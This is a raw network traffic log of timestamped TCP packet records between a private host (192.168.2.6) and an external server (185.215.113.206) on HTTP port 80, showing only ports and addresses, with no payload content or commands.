Oct 27, 2024 00:31:14.842458963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.842489958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.843050003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.843086004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.843111992 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.843120098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.843131065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.843154907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.843174934 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.843189001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.843210936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.843223095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.843240023 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.843256950 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.843276978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.843291998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.843324900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.843343019 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.844010115 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.844044924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.844070911 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.844079971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.844094038 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.844115973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.844136953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.844150066 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.844173908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.844185114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.844203949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.844218969 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.844238997 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.844254017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.844280005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.844297886 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.844779968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.844841003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.886131048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.886200905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.886238098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.886290073 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.886290073 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.886290073 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.953633070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.953727961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.953783989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.953778982 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.953819990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.953875065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.953875065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.953875065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.953879118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.953936100 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.953969955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.954005003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.954020977 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.954041004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.954060078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.954087019 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.954257011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.954291105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.954314947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.954324961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.954341888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.954364061 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.954376936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.954416037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.954633951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.954667091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.954700947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.954701900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.954725027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.954736948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.954747915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.954787970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.955075979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.955110073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.955131054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.955143929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.955157995 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.955179930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.955202103 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.955240965 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.955499887 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.955563068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.955570936 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.955607891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.955621958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.955642939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.955657959 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.955678940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.955693007 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.955713987 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.955734968 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.955750942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.955764055 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.955804110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.956298113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.956331968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.956363916 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.956365108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.956386089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.956402063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.956413984 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.956438065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.956455946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.956475973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.956495047 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.956532001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.956849098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.956882954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.956917048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.956922054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.956948996 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.956950903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.956969023 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.956986904 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.956999063 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.957034111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.957359076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.957407951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.957426071 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.957442999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.957469940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.957478046 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.957490921 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.957511902 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.957529068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.957545996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.957557917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.957580090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.957602024 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.957612991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.957631111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.957669020 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.958441019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.958475113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.958508015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.958508015 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.958530903 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.958544016 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.958554983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.958579063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.958589077 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.958614111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.958631039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.958648920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.958668947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.958687067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.958700895 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.958722115 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.958738089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.958759069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.958775043 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.958811998 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.959393978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.959428072 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.959455967 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.959461927 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.959477901 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.959496975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.959516048 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.959532976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.959553957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.959567070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.959588051 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.959606886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.959620953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.959661007 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.001574039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.001626015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.001665115 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.001705885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.001773119 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.068793058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.068856955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.068888903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.068968058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.068989992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069014072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.069027901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069082975 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.069214106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069248915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069267988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.069284916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069298029 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.069335938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.069538116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069567919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069606066 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.069619894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069628954 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.069655895 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069674015 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.069701910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.069905043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069940090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069958925 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.069977999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.069983959 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070014954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.070019960 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070050001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.070059061 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070096970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070312977 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.070347071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.070368052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070383072 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.070398092 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070420027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.070436954 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070456982 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.070522070 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070559025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070847034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.070887089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.070907116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070920944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.070928097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070960045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.070967913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.070995092 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.071011066 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.071041107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.071398973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.071432114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.071469069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.071489096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.071500063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.071525097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.071546078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.071779966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.071814060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.071835995 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.071847916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.071862936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.071883917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.071901083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.071921110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.071934938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.071957111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.071974039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.071993113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.072026968 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.072029114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.072052956 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.072094917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.072822094 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.072858095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.072884083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.072894096 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.072907925 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.072928905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.072942019 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.072964907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.072974920 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.073000908 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.073018074 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.073035955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.073048115 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.073071957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.073085070 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.073107004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.073122978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.073143005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.073157072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.073204041 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.073787928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.073822021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.073846102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.073858023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.073865891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.073893070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.073905945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.073929071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.073941946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.073968887 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.073983908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.074003935 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.074023008 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.074038029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.074044943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.074073076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.074089050 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.074126005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.074668884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.074704885 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.074727058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.074738979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.074748039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.074774981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.074788094 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.074810028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.074827909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.074845076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.074856997 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.074896097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.117372036 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.123110056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.395642042 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.395704985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.395735979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.395766973 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.395807981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.395823956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.395858049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.395881891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.395908117 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.395999908 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396034956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396054983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.396091938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.396202087 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396235943 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396258116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.396290064 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.396353960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396409035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.396488905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396522045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396543026 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.396555901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396574020 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.396594048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396601915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.396641016 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.396871090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396904945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396931887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.396939039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.396954060 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.396975994 CEST	80	49709	185.215.113.206	192.168.2.6
